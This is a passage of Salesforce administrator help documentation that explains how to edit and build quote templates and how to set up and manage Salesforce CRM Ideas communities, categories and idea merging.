Press CTRL+click to select multiple fields and SHIFT+click to select a range.
To remove an element from the layout, drag it back to the palette, or hover over its title bar and click .
When you drag a section, select Hide Title if you don't want the section's title to appear on the template or the
PDF.
For any section, (including a header or footer), you can change the number of columns, adjust field alignment, and
hide or show field labels. Click
and make the changes you want.
To step backward or forward, click Undo and Redo.
To change the properties of any component on the layout, double-click its title bar or click
To rename the template, click Quote Template Properties.
To preview your template, click Save and Preview.
To save your changes and continue editing the template, click Quick Save.

1417

Customize

Viewing and Editing Quote Templates

To save your changes when you're finished editing the template, click Save. Don't navigate away from the template
before clicking Save or you'll lose your changes.

See Also:
Quote Templates Overview
Creating Quote Templates

Viewing and Editing Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create quote templates:

"Customize Application"

To view quote templates:

"View Setup and Configuration"

1. Click Your Name > Setup > Customize > Quotes > Templates.
2. Click Edit next to the template you want.
3. If you need to edit the template name, click Quote Template Properties and enter the new name in the Template Name
field. Click OK.
Note: You can't rename a quote template if you're using Salesforce Professional Edition.

4. You can:

Add or edit sections (for fields), text, images, and lists as needed.
Redesign the template header or footer.

Change, hide, or show the title of a section, list, header, or footer after it's in place by clicking
select or deselect Hide Title.
Hide field labels in sections and the header and footer.
Change the number of columns (one or two) in sections.
Change field alignment (left or right) in sections.

. Edit the title and

5. Click Save when you're finished.


Alternately, you can save your changes in a copy of the original template by clicking Save As.

1418

Customize

Adding Fields to Quote Templates

Note: The Save As option isn't available in Salesforce Professional Edition. To make a copy of a template in
Professional Edition, click New on the Quote Templates page then select the existing template that you want to
duplicate.

See Also:
Adding Fields to Quote Templates
Adding Lists to Quote Templates
Adding Rich Text to Quote Templates
Adding Images to Quote Templates
Using Headers and Footers on Quote Templates
Customizing Quote PDFs with Quote Templates

Adding Fields to Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create quote templates:

"Customize Application"

To view quote templates:

"View Setup and Configuration"

On your quote template, you can display standard and custom fields from the quote object and these related objects: account,
contact, opportunity, organization, and user. Use a Text/Image Field to display a graphic, such as your company logo, or
text that can be formatted, such as a signature block. To add fields to a header or footer, just drag them into place. To add
fields to the body of your template, drag a section component first.
Note:
In some cases, a field may not appear on the quote templates palette or on a PDF created from a template.

If a user is unable to view or update a field because of field-level security settings, that field won't appear on PDFs
created from a template, even if the template includes that field. Read-only fields will appear on PDFs.
A field that appears on a quote page layout but does not have a value for a given quote will appear on the quote
templates palette, but won't appear on PDFs created from that quote.
Quote line item fields that don't contain data won't appear as columns in a list when a PDF is created, even if the
template includes that field. For example, if no quote line items offer a discount, the Discount column won't
appear, even if the list includes the Discount field.
If a related list is not included on a quote page layout, it won't appear on the template palette or any PDFs for
quotes that use that page layout.

1419

Customize

Adding Fields to Quote Templates

Adding Fields to Headers and Footers


1. If you need to change the number of columns in your header or footer, click
and select the number (one or two)
that you want.
2. Drag the fields you want into the header or footer. Press CTRL+click to select multiple fields and SHIFT+click to
select a range.
3. If you want to add rich text or an image, drag the Text/Image Field .
4. If you need to change field alignment within a column, click

and select left or right alignment.

5. If you want to hide field labels, click


and select the Hide checkbox.
6. Use the Blank Space field to add vertical space anywhere on the template.
Adding Fields to the Template Body
1. Drag a section component from the palette to the template.
2. Enter a title for the section. Select Hide Title if you don't want the title to appear on the template or PDF. Click
OK.
3. Select an object from the palette to display its fields.
4. Drag the fields you want into the section. Press CTRL+click to select multiple fields and SHIFT+click to select a
range.
5. If you want to add rich text or an image, drag the Text/Image Field.
6. If you need to change field alignment within a column, click

and select left or right alignment.

7. If you want to hide field labels, click


and select the Hide checkbox.
8. Use the Blank Space field to add vertical space anywhere on the template.

See Also:
Customizing Quote PDFs with Quote Templates
Viewing and Editing Quote Templates
Using Headers and Footers on Quote Templates
Adding Rich Text to Quote Templates
Adding Images to Quote Templates
Field-Level Security Overview

1420

Customize

Adding Lists to Quote Templates

Adding Lists to Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create quote templates:

"Customize Application"

To view quote templates:

"View Setup and Configuration"

Use lists in your quote template to arrange and display fields from quote line item or any other standard or custom object that
has a lookup relationship to the quote object. A list looks like a table, with field names appearing as columns. You can add
lists to the body of your quote template but not to the header or footer.
Note:
In some cases, a field may not appear on the quote templates palette or on a PDF created from a template.

If a user is unable to view or update a field because of field-level security settings, that field won't appear on PDFs
created from a template, even if the template includes that field. Read-only fields will appear on PDFs.
A field that appears on a quote page layout but does not have a value for a given quote will appear on the quote
templates palette, but won't appear on PDFs created from that quote.
Quote line item fields that don't contain data won't appear as columns in a list when a PDF is created, even if the
template includes that field. For example, if no quote line items offer a discount, the Discount column won't
appear, even if the list includes the Discount field.
If a related list is not included on a quote page layout, it won't appear on the template palette or any PDFs for
quotes that use that page layout.

1.
2.
3.
4.

Drag a list from the palette to the template.


Enter a title for the list. Select Hide Title if you don't want the title to appear on the template or PDF.
In the Object field, select the object whose fields you want to appear in the list.
Use the Add and Remove arrows to move columns from the Available Fields list to the Selected Fields list. Use the Up
and Down arrows to change the order of the columns. A list can include up to 10 fields.
5. Click OK.

See Also:
Customizing Quote PDFs with Quote Templates
Viewing and Editing Quote Templates
Field-Level Security Overview

1421

Customize

Adding Rich Text to Quote Templates

Adding Rich Text to Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create quote templates:

"Customize Application"

To view quote templates:

"View Setup and Configuration"

Use the quote templates text/image field to add text you can format, such as your organization's address or terms and conditions.
You can also insert images, like your company logo. You can use text/image fields in the body of your template, and also in
the header and footer.
Rich Text Restrictions
Text formatting is not available in the Text/Image Field for Unicode languages such as Arabic and Japanese.
The maximum number of characters you can use in the quote templates Text/Image Field is 32,000, which includes
the hidden HTML characters used to format text.
1. Drag a Text/Image Field into place in the header, the footer, or any section in the body.
2. Type or paste your text into the field, then format it however you like.
3. Click OK.
Tip: Use a text/image field to create a signature block.

See Also:
Customizing Quote PDFs with Quote Templates
Using Headers and Footers on Quote Templates
Adding Images to Quote Templates
Tips for Using Quote Templates
Field-Level Security Overview

1422

Customize

Adding Images to Quote Templates

Adding Images to Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create quote templates:

"Customize Application"

To view quote templates:

"View Setup and Configuration"

Use the quote templates text/image field to insert images, like your company logo. You can use text/image fields in the body
of your template, and also in the header and footer.
You can store images for uploading in either your own file system or in Salesforce CRM Content.
If you store images on the Documents tab or the Static Resources page, you'll get a Web address you can use to insert the
image.
Note: If you need to insert an image from a public Web address outside the Salesforce application (such as your
company's website), contact Salesforce and ask to have the public URL whitelisted for your organization.
Image Size Considerations
If you insert an image that's too large, it will be cropped when users create quote PDFs from the template. To prevent
cropping, click Save and Preview after you insert an image, then resize the image if you need to.
Inserting an Uploaded Image
1. If you want to use an image stored in Salesforce CRM Content, locate the image and download it to your local file
directory.
2. Drag a Text/Image Field into place in the header, the footer, or any section in the body.
3. Select Hide Title if you don't want the title to appear on the template or PDF.
4. Click the image icon, then click Browse... and locate the image in your file directory.
5. Click Open and the image appears in the field. You can resize it by dragging the sizing handles, which show the
image's height and width in pixels.
6. Click OK.
7. Click Save and Preview to see how the image will look in PDFs created from the template.
Inserting an Image from a Salesforce Web Address
1.
2.
3.
4.

If you need to, upload the image to the Documents tab or define a static resource.
Drag a Text/Image Field into place in the header, the footer, or any section in the body.
Select Hide Title if you don't want the title to appear on the template or PDF. Click OK.
On the Documents tab or the Static Resources page, open the image's detail page, click View File, and copy its URL.

5. Return to the quote template editor and click


in the title bar of the text/image field.
6. Click the image icon, then click the Web Address tab.

1423

Customize

Using Headers and Footers on Quote Templates

7. Paste the URL into the URL field, then click Insert. The image appears in the field. You can resize it by dragging
the sizing handles, which show the image's height and width in pixels.
8. Click OK.
9. Click Save and Preview to see how the image will look in PDFs created from the template.
Important: If the image is removed from the Documents tab or Static Resources page, where it is stored, the
template displays a message that the image is not available. Restore the image, then open the template, delete
the error message image, and repaste the URL.

See Also:
Customizing Quote PDFs with Quote Templates
Using Headers and Footers on Quote Templates
Adding Rich Text to Quote Templates
Contributing Files to Salesforce CRM Content
Uploading and Replacing Documents

Using Headers and Footers on Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create quote templates:

"Customize Application"

To view quote templates:

"View Setup and Configuration"

Use headers and footers to show standard, repeating information on your quote template, such as your company logo, your
company address, the date the quote was created, or the quote number. Headers and footers can span the width of the template
or be divided into two equal columns.
A header or footer is essentially a section: you can add fields to it and show or hide its title. You can't remove a header or
footer or add more sections to it.
Note:
In some cases, a field may not appear on the quote templates palette or on a PDF created from a template.

If a user is unable to view or update a field because of field-level security settings, that field won't appear on PDFs
created from a template, even if the template includes that field. Read-only fields will appear on PDFs.
A field that appears on a quote page layout but does not have a value for a given quote will appear on the quote
templates palette, but won't appear on PDFs created from that quote.
Quote line item fields that don't contain data won't appear as columns in a list when a PDF is created, even if the
template includes that field. For example, if no quote line items offer a discount, the Discount column won't
appear, even if the list includes the Discount field.

1424

Customize

Previewing Quote Templates

If a related list is not included on a quote page layout, it won't appear on the template palette or any PDFs for
quotes that use that page layout.

1. If you need to change the number of columns in your header or footer, click
you want.

and select the number (one or two) that

Tip: To display an image that spans the width of a page, use a one-column header or footer. For terms and
conditions text, use a one-column footer.
2. Select an object and drag the fields you want into the header or footer. Press CTRL+click to select multiple fields and
SHIFT+click to select a range.
If you want to use an image, such as your company logo, or include extended information, such as terms and conditions,
use a Text/Image Field.
3. If you need to change field alignment within a column, click

and select left or right alignment.

4. If you want to hide field labels, click


and select the Hide checkbox.
5. Select Hide Title if you don't want the title to appear on the template or PDF.
6. Click OK.

See Also:
Customizing Quote PDFs with Quote Templates
Adding Fields to Quote Templates
Adding Rich Text to Quote Templates
Adding Images to Quote Templates
Tips for Using Quote Templates
Field-Level Security Overview

Previewing Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create quote templates:

"Customize Application"

To view quote templates:

"View Setup and Configuration"

Preview your quote templates to make sure the quote PDFs users create will look the way you want them to.
Note: Preview shows templates in system administrator profile view. The preview and the template show any rich
text and images you've added. Other data is simulated.
1. Open the template you want to preview. Edit the template if you need to.

1425

Customize

Tips for Using Quote Templates

2. Click Save and Preview.


Important: Save and Preview saves changes to your template, so after you preview, you can't undo them.

3. In the Template Preview overlay, verify that the content and layout are correct.
4. Click Close.

See Also:
Creating Quote Templates
Creating Quote PDFs

Tips for Using Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create quote templates:

"Customize Application"

To view quote templates:

"View Setup and Configuration"

Upgrading Quote Templates from the Summer '10 Beta Release


If you used quote templates during the Summer '10 beta release, you'll notice a change in how template logos and
signature blocks work. The first time you create a template in the Winter '11 release, if you add any content to the header
or footer, the logo and signature block you previously used won't be displayed. If the new template's header and footer
have no content, the original logo and signature block will appear.
Understanding Template Field Names
To help you understand the information you'll get when you select fields for your template, some field names provide
additional information that does not appear on PDFs created from the template.
Object

Object Field

Template Field Name

PDF Field Name

User

First Name, Last Name Prepared By (Name)

Prepared By

User

Email

Prepared By (Email)

E-mail

User

Phone

Prepared By (Phone)

Phone

User

Fax

Prepared By (Fax)

Fax

Company Information

Address

Organization
(Address)

Company Address

1426

Customize

Tips for Using Quote Templates

Object

Object Field

Template Field Name

Quote Documents

Hidden. The date the PDF Quote PDF (Created


was generated and saved in Date)
the quote documents object.

PDF Field Name


Created Date

Creating a Totals Section


Use a totals section to show grand total amounts for your quote.
1. Create the section. You have a couple of options.

Select Standard Template when you create a new template. The standard template contains a totals section,
and you can modify it as you wish.
Drag a section onto the layout of any template, then drag total-related fields (such as Subtotal and Grand
Total) to the right half of the section. Hide the title if you are placing the section directly beneath a list.

2. Click

and select right field alignment.

Note: Fields within sections have different alignment than columns within lists, so if you place your totals section
beneath a list, its field values will not line up beneath the rightmost list values.
For example, your template might include a list of quote line items, including a Total Price column at the
far right that shows the total for each line item. If you add a totals section beneath the list, and include Subtotal,
Total Price, and Grand Total fields, their values will show the total of all line items, but the amounts will
not line up beneath the list's Total Price column.
Creating a Signature Block
Use a signature block to create signature and date lines so your customers can sign off on their quotes.
1. Drag a Text/Image Field into the footer of your template. Use two columns for the footer if you want to right-align
your signature block or create two.
2. Enter a label for each line you want to create. For example:

Signature
Name
Title
Date

3. Use the underscore key to create a line after each label.


4. Click OK.
Hiding Field Labels
You can show field content without labels in quote template sections, headers, and footers. Just click
and select the
Hide checkbox. Field names appear in gray on the quote template editor, but they don't appear on quote PDFs. Click
Save and Preview to see how PDFs will look.

1427

Setting Up Ideas

Managing Salesforce CRM Ideas

Sandbox Restrictions for Quote Templates


If you create a configuration-only sandbox for your organization, templates that contain Text/Image fields cannot be
opened for editing within the sandbox.

See Also:
Sandbox Setup Tips and Considerations

SETTING UP IDEAS
Managing Salesforce CRM Ideas
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Salesforce CRM Ideas communities:

Customize Application

Salesforce CRM Ideas is a community of users who post, vote for, and comment on ideas. Consider it an online suggestion
box that includes discussions and popularity rankings for any subject.
Communities help organize ideas and questions into logical groups with each community having its own focus and unique
ideas and questions. Professional Edition organizations can have only one internal ideas community. All other editions can
have up to 50 communities shared between ideas, answers, and Chatter Answers.
You can display an Ideas community to internal Salesforce users, Customer Portal or partner portal users, or to public users
(requires setting up a Force.com site). For step-by-step directions on setting up Salesforce CRM Ideas, refer to the Salesforce
CRM Ideas Implementation Guide.
As an administrator, you can:

Control whether ideas are enabled for your organization and customize the half-life of ideas. See Customizing Salesforce
CRM Ideas Settings on page 1429.
Create a new community. See Creating and Editing Communities on page 1536.
Define picklist values for the Categories and Status fields. See Defining Picklist Values for the Categories and Status
Fields on page 1435.
Specify the layout of custom fields. See Setting Layouts for Idea Fields on page 1439.
Make idea reports available to your users. See Setting Up Idea Reports on page 1440.
Customize idea search layouts. See Customizing Search Layouts on page 1303 and Searching for Ideas on page 3334.
Merge ideas to reduce the number of duplicate ideas within a community. See Merging Ideas on page 1433.
Assign a status to an idea. See Posting and Editing Ideas on page 3327.
Delete a vote through the API to erase all history that the vote ever occurred.
Specifically, deleting a vote does the following:

1428

Customize

Customizing Salesforce CRM Ideas Settings

Removes 10 points from the idea's overall score


Removes the user's name from the Last 100 Votes section on the idea's detail page
For more information, refer to the delete() call in the SOAP API Developer's Guide .

See Also:
Ideas Overview
Tips on Using Salesforce CRM Ideas
Enabling Salesforce CRM Ideas in the Customer Portal
Force.com Sites Overview
Administrator setup guide: Salesforce Ideas Implementation Guide

Customizing Salesforce CRM Ideas Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize Salesforce CRM Ideas settings:

Customize Application

To manage organization-wide settings for Salesforce CRM Ideas:


1. Click Your Name > Setup > Customize > Ideas > Settings.
2. Click Edit.
3. Use the Enable Ideas checkbox to enable or disable Salesforce CRM Ideas for your organization.
Enabling Salesforce CRM Ideas displays the Ideas tab in the Community application and shows active communities on
the Ideas tab.
Disabling Salesforce CRM Ideas removes the Ideas tab from the Community app. Users will no longer be able to access
active communities, but these communities will reappear on the Ideas tab the next time you enable Salesforce CRM Ideas.
4. Optionally, select Enable Text-Formatting, Images and Links to enable the Salesforce CRM Ideas HTML
editor, which gives users WYSIWYG HTML editing and image referencing capabilities when they post or comment on
ideas. For more information, see Tips for Using the HTML Editor on page 3334.
Caution: Once you enable the Salesforce CRM Ideas HTML editor, you cannot disable it. If you do not see the
Enable Text-Formatting, Images and Links checkbox, the Salesforce CRM Ideas HTML editor is
enabled for your organization by default.
5. If your organization does not already have the multi-select Categories field enabled, click the Enable button located
below the Categories message at the top of the page. This button is not displayed if your organization already has the
Categories field enabled. For more information, refer to Enabling the Categories Field on page 1437.
If the Categories field is already enabled, the Enable Categories checkbox is selected. Once the field is enabled,
you cannot disable it.

1429

Customize

Communities Home

6. In the Half-Life (in Days) field, enter a number of days.


The half-life setting determines how quickly old ideas drop in ranking on the Popular Ideas subtab, to make room for
ideas with more recent votes. A shorter half-life moves older ideas down the page faster than a longer half-life.
Note: This field does not appear if Ideas is disabled. To modify the Half-Life (in Days) field, save your
changes after enabling ideas, and then click Edit on the Ideas Settings page.
7. Click Save.

See Also:
Ideas Overview
Managing Salesforce CRM Ideas
Administrator setup guide: Salesforce Ideas Implementation Guide

Communities Home
Ideas communities available in: Professional, Enterprise, Unlimited, and Developer Editions
Answers communities available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit a community:

Customize Application

Communities help organize ideas and questions into logical groups with each community having its own focus and unique
ideas and questions. Professional Edition organizations can have only one internal ideas community. All other editions can
have up to 50 communities shared between ideas, answers, and Chatter Answers.
Note: If you need more than 50 communities, contact salesforce.com.

You can display a community to the following types of users:

Internal Salesforce users only. Salesforce users can access all communities regardless of whether the community is
internal-only or displayed in a portal.
Customer Portal or partner portal users.
Public users (requires setting up a Force.com Site).
Note: You cannot use Salesforce sharing rules to restrict access to communities. When you create a community, you
can restrict access by selecting the portal where the community should appear. Only the users assigned to that portal
(and internal Salesforce users) will be able to access that community unless you expose it publicly using Force.com
sites.

To display a list of the existing communities, along with general information about each one, click either:

1430

Customize

Creating and Editing Communities

Your Name > Setup > Customize > Ideas > Communities
Your Name > Setup > Customize > Answers > Communities
Your Name > Setup > Customize > Chatter Answers > Communities

Communities are shared by the ideas, answers, and Chatter Answers features, allowing you to view and create communities
from those locations. From the Communities page you can:

Create a new community or edit an existing community.


View the details of a community by clicking the community name.

Creating and Editing Communities


Ideas communities available in: Professional, Enterprise, Unlimited, and Developer Editions
Answers communities available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit a community:

Customize Application

To create a new community or edit the details of an existing community:


1. Click either:

Your Name > Setup > Customize > Ideas > Communities
Your Name > Setup > Customize > Answers > Communities
Your Name > Setup > Customize > Chatter Answers > Communities

Communities are shared by the ideas, answers, and Chatter Answers features, allowing you to view and create communities
from those locations. Because Chatter Answers integrates several Salesforce features, there are separate instructions for
creating and editing its communities. See Configuring a Chatter Answers Community on page 1557.
2. Click Edit next to the community you want to change or New to create a new community.
3. Enter a unique name for your community. This name displays to all community members so use a name that clearly
identifies the community's purpose.
For ideas, if you have more than one community, the community whose name comes first in the alphabet is the community
that is displayed when users first visit the Ideas tab. For example, if you're a computer manufacturer and have a community
named Laptop Products and another named Desktop Products, the Desktop Products community appears first when users
go to the Ideas tab. Answers can only have one community displayed at a time.
4. Optionally, enter a description in plain text. HTML and other markup languages are not supported.
5. Select the Active checkbox to display the community to your ideas and answers users.
You can't delete communities, so if you need to hide a community, make sure Active isn't selected. All active communities
are automatically available from the Ideas tab (if ideas is enabled), but you can only assign one active community to answers.
To make a community available from answers, enable answers and assign the default community.
6. To add a group of experts to this community, select a public group from the Experts Group drop-down list. For
information on creating public groups, see Creating and Editing Groups on page 590.

1431

Customize

Creating and Editing Communities

Note: Expert groups are only supported in Salesforce CRM Ideas. Answers doesn't support this feature.

7. Use the Portal drop-down list to specify in which portal you want this community displayed. If you only want this community
displayed to internal Salesforce users and not to Customer Portal or partner portal users, select Do Not Display in
Portal.
To make an ideas community publicly available, you must select the Customer Portal that you plan to expose publicly using
Force.com sites. Answers communities do not support Force.com sites.
When you display a community in a portal, (External) is appended to the community name. Communities that aren't
displayed in a portal have (Internal) appended to the name. For example, Laptop Products Community (External).
8. Click Save.
Community Expert Overview
A community expert is a member of the community who speaks credibly and authoritatively on behalf of your organization.
When a community expert posts a comment or idea, a unique icon ( ) displays next to his or her name so other community
members can easily identify credible information within the community. The Salesforce administrator can designate as many
community experts as necessary.
Before you select a public group to be community experts, note the following:

A community expert can be an employee of your organization who is responsible for providing official responses to the
community, or a community expert can be someone outside your organization who is active within the community and
knowledgeable about the subject matter.
The only difference between a community expert and other community members is the unique icon that displays next to
the community expert's name. Community experts do not have any extra permissions beyond what is specified in their
user profile and permission sets.
Community experts must be part of a public group and that public group must be specified in the Experts Group
drop-down list. You may need to create a public group for each community if the experts within those communities are
different.
If a community is displayed in a Customer Portal or partner portal, you can use a cascading style sheet (CSS) to change
the icon associated with the community expert. When creating a new portal, specify your CSS in the Header of your
portal and use the expertUserBadge class to reference the new background image for the community expert. We
recommend the community expert icon be no larger than 16 by 16 pixels. For more information, see Creating Partner
Portals on page 3463 and Enabling Customer Portal Login and Settings on page 1671.

See Also:
Selecting Picklist Values and Defaults for a Community
Communities Home
Enabling Salesforce CRM Ideas in the Customer Portal
Force.com Sites Overview
Administrator setup guide: Salesforce Ideas Implementation Guide

1432

Customize

Merging Ideas

Merging Ideas
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To merge multiple ideas:

Edit on ideas

Overview
As more users contribute to a community, the number of duplicate ideas often increases. Duplicate ideas make it difficult to
measure feedback because votes and comments are spread out over many similar ideas. The best way to resolve this issue is to
merge duplicate ideas together so one idea becomes the master to one or more child ideas.
Note the following about merging ideas:

All votes belonging to child ideas are transferred to the master idea. If the same community member votes for two ideas
that are eventually merged, only the vote for the master idea is kept; the vote for the child idea is discarded.
Once you merge ideas they cannot be separated.
Users can only vote for and add comments to a master idea. Child ideas become read-only.
You cannot merge ideas in separate communities.
Deleting a parent idea automatically deletes all child ideas. Child ideas cannot be deleted individually.
The master idea does not inherit the status and category values of its child ideas.
When an idea is merged and becomes a child idea, the child idea still appears on the Ideas Submitted page but not on any
other pages in a community member's Recent Activity.

Merging Ideas
To locate duplicate ideas and merge them together:
1. On the Ideas tab, click the title of an idea that you want to merge.
2. On the idea's detail page, click Find Duplicates. Salesforce searches all the ideas within the community and displays the
five ideas with titles that most closely match the current idea's title.
3. If the Possible Duplicates list does not contain any ideas that you want to merge, enter keywords in the Search for
Duplicates field and click Search. Salesforce displays a new list of possible duplicate ideas.
4. From the Possible Duplicates list, select the ideas that you want to merge.
To view the details of a possible duplicate idea, click the idea's title. Use your browser's back button to return to the search
results.
5. Click Merge with Current Idea.
6. Select the idea that you want to be the master idea, and click Merge.

1433

Customize

Tips on Using Salesforce CRM Ideas

7. Click OK to complete the merge.

See Also:
Searching for Ideas
Viewing Ideas
Posting and Editing Ideas
Deleting Ideas

Tips on Using Salesforce CRM Ideas


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Ideas tab:

Read on ideas

To view and vote for ideas:

Read on ideas

To create ideas and add comments to ideas:

Create on ideas

To edit ideas and edit comments on ideas:

Edit on ideas

To create communities:

Customize Application

Consider the following information when setting up and using Salesforce CRM Ideas:

To monitor the activity of Salesforce CRM Ideas, you can:


Create a workflow rule or trigger based on the number of comments an idea receives. You cannot create a workflow
rule or trigger based on an ideas vote total or vote count. You also cannot create a trigger that inserts or deletes a
comment when the Idea object is updated. For more information, see Creating Workflow Rules on page 1778.
Create a custom report based on an idea's vote score or number of comments. For more information, see Creating a
Custom Report on page 2970.

When posting an idea or comment, you can include a URL in the idea's description or comment field, but you cannot
attach a file or add a note to an idea.
Master detail relationships are not supported.
Salesforce CRM Ideas does not support workflow tasks, outbound messages, and approvals.
Salesforce CRM Ideas does not support custom links.
The Ideas detail page does not contain related lists.
The data export feature archives all your Salesforce CRM Ideas data with the exception of deleted ideas and deleted
comments.
You cannot create activities and events for Salesforce CRM Ideas.
When using standard or custom Idea fields, note the following:
History tracking is not supported.

1434

Customize

Defining Picklist Values for the Categories and Status Fields

Field dependencies and roll-up summary fields are not supported.


Formula fields are not available for the Community object.

Defining Picklist Values for the Categories and Status Fields


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define picklist values:

Customize Application

Overview
For community members to assign categories to an idea or be able to view an idea's status, the Salesforce CRM Ideas
administrator needs to define picklist values for the Categories and Status fields. These fields are only available in an
ideas community and not in an answers community.
Categories are administrator-defined values that help organize ideas into logical sub-groups within a community. The View
Category drop-down list on the Ideas tab allows users to filter ideas by category, and the Categories picklist on the Post
Ideas page lets users add categories to their ideas.
An idea's status helps community members track the progress of the idea. For example, Under Review, Reviewed, Coming
Soon, and Now Available are common status values an administrator can define and assign to ideas. An idea's status appears
next to the idea's title for all community members to see.
Note: If the Category field is displayed (instead of Categories), then your community members can only assign
a single category to an idea. To allow them to assign multiple categories to an idea, enable the Categories field on
the Your Name > Setup > Customize > Ideas > Settings page.
Defining Picklist Values
To define picklist values for the Categories and Status standard fields:
1. Click Your Name > Setup > Customize > Ideas > Fields.
2. Click Edit next to the Categories or Status standard field.
3. On the picklist edit page, click New to add new picklist values to the standard field. You can also edit, delete, reorder, and
replace picklist values. For more information on these tasks, see Updating Picklists on page 1060.
Note: Once you add picklist values to the Categories or Status field, the field will always require at least one
picklist value. This means you can delete picklist values until there is one remaining for the field.
4.
5.
6.
7.

Add one or more picklist values (one per line) in the provided text area.
Select the communities that you want to include the new picklist values.
Click Save.
To specify a default value for the Categories or Status fields, see Selecting Picklist Values and Defaults for a Community
on page 1436.

1435

Customize

Selecting Picklist Values and Defaults for a Community

Note: Do not use the Edit link on the Fields page to specify a default value for Categories or Status. You
can only specify a default value from the Community Detail page.
8. To be able to assign a status to ideas and display an idea's status to community members, select the Show Status Field
checkbox on the Your Name > Setup > Customize > Ideas > Fields Layout page.
Once you select this checkbox, you can assign a status to any idea when you post a new idea or edit an existing idea. For
more information, see Posting and Editing Ideas on page 3327.

See Also:
Managing Salesforce CRM Ideas
Ideas Overview
Selecting Picklist Values and Defaults for a Community

Selecting Picklist Values and Defaults for a Community


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To add or remove picklist values from a community:

Customize Application

After you define picklist values for the Categories and Status fields, you can add and remove picklist values from these
fields on a per-community basis and specify a default value. This allows you to customize the Categories and Status fields
based on the unique purpose of a community. For information, see Defining Picklist Values for the Categories and Status
Fields on page 1435.
To add or remove picklist values from a specific community:
1.
2.
3.
4.
5.
6.
7.

Click Your Name > Setup > Customize > Ideas > Communities.
Click the name of the community.
Click Edit next to the Categories or Status field.
To remove a picklist value, select the value from the Selected Values list and click Remove.
To add a picklist value to the community, select the value from the Available Values list and click Add.
To specify a default value for the field, use the Default drop-down list.
Click Save.

See Also:
Creating and Editing Communities

1436

Customize

Enabling the Categories Field

Enabling the Categories Field


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize Salesforce CRM Ideas settings:

Customize Application

Organizations using the Category field can switch to the multi-select Categories field that allows community members
to associate more than one category with an idea. The Category field only allows one category to be associated with an idea.
Caution: Once you enable the Categories field, you cannot disable it. Also, enabling the Categories field
automatically disables the old Category field in Salesforce and the API.
When you enable the Categories field, Salesforce automatically does the following:

Checks your organization's workflow rules, triggers, validation rules, custom fields, and Apex code and lists any area that
references the Category field. You must manually fix or remove these references before Salesforce allows you to enable
the Categories field.
Automatically moves all picklist values and search layouts from the old Category field to the new Categories field.
Ensures each idea is associated with the appropriate picklist value in the new Categories field.
Makes the new Categories field available in Salesforce and the API.

To enable the Categories field:


1. Click Your Name > Setup > Customize > Ideas > Settings.
2. Click Enable located below the Categories message at the top of the page. This button is not displayed if your organization
already has the Categories field enabled.
Salesforce checks your organization's workflow rules, triggers, validation rules, custom fields, and Apex code for references
to the Category field and lists any areas where this reference needs to be removed.
3. If you need to remove references to the Category field, click Cancel. Once you have removed the references, try enabling
the Categories field again.
Note: For validation and workflow rules you must delete the rule or fix the Category reference within the rule. It
is not sufficient to deactivate the rule. If you need to delete a custom field that references the Category field,
make sure to erase the field after it has been deleted. For more information, see Managing Deleted Custom Fields
on page 1105.
4. Read the information in the pop-up window, and click Enable. It may take several minutes for Salesforce to enable the
new field.

1437

Customize

Migrating to the Community Application

5. Fix any custom reports that reference the old Category field.

See Also:
Customizing Salesforce CRM Ideas Settings
Selecting Picklist Values and Defaults for a Community
Defining Picklist Values for the Categories and Status Fields

Migrating to the Community Application


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize Salesforce CRM Ideas settings:

Customize Application

If your organization enabled Salesforce CRM Ideas prior to the Winter '10 release, we recommend that you migrate to the
new Community application. The Community application:

Replaces the Ideas application in the Force.com app menu.


Includes the Ideas and Answers tabs.
Answers is a feature of the Community application that enables users to ask questions and have community members post
replies. Community members can then vote on the helpfulness of each reply, and the person who asked the question can
mark one reply as the best answer.
Caution: Once you migrate to the Community application, you cannot return to the old Ideas application. The Ideas
tab with all your existing data will still be available in the new Community application.

To migrate to the Community application:


1. Click Your Name > Setup > Customize > Ideas > Settings.
The Community message appears at the top of the Ideas Settings page. If the Community message does not appear, the
Community application is already enabled for your organization.
2. Click Enable below the Community message. Salesforce checks your organization for any custom objects named Community.
If such an object exists, you must delete or rename the object before enabling the Community app.
3. Click Enable when Salesforce confirms it's okay to migrate to the Community application.

1438

Customize

Customizing Salesforce CRM Ideas Standard and Custom Fields

Customizing Salesforce CRM Ideas Standard and Custom


Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define picklist values:

Customize Application

To set field level security:

Customize Application

To define or change field validation rules:

Customize Application

To create Salesforce CRM Ideas custom fields:

Customize Application

Administrators can customize Salesforce CRM Ideas standard and custom fields to meet the needs of an organization's unique
requirements:

Define picklist values for the Categories and Status fields. For more information, see Defining Picklist Values for the
Categories and Status Fields on page 1435.
Click the name of a standard or custom field to set field-level security. For more information, see Field-Level Security
Overview on page 663.
Click the name of a custom field to set validation rules. For more information, see Defining Validation Rules on page 1161.
Create a custom field for Salesforce CRM Ideas. Custom fields appear in the Additional Information section on the Post
Idea and Idea Detail pages. For more information, see About Custom Fields on page 1074.

See Also:
Ideas Overview
Customizing Salesforce CRM Ideas Settings

Setting Layouts for Idea Fields


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


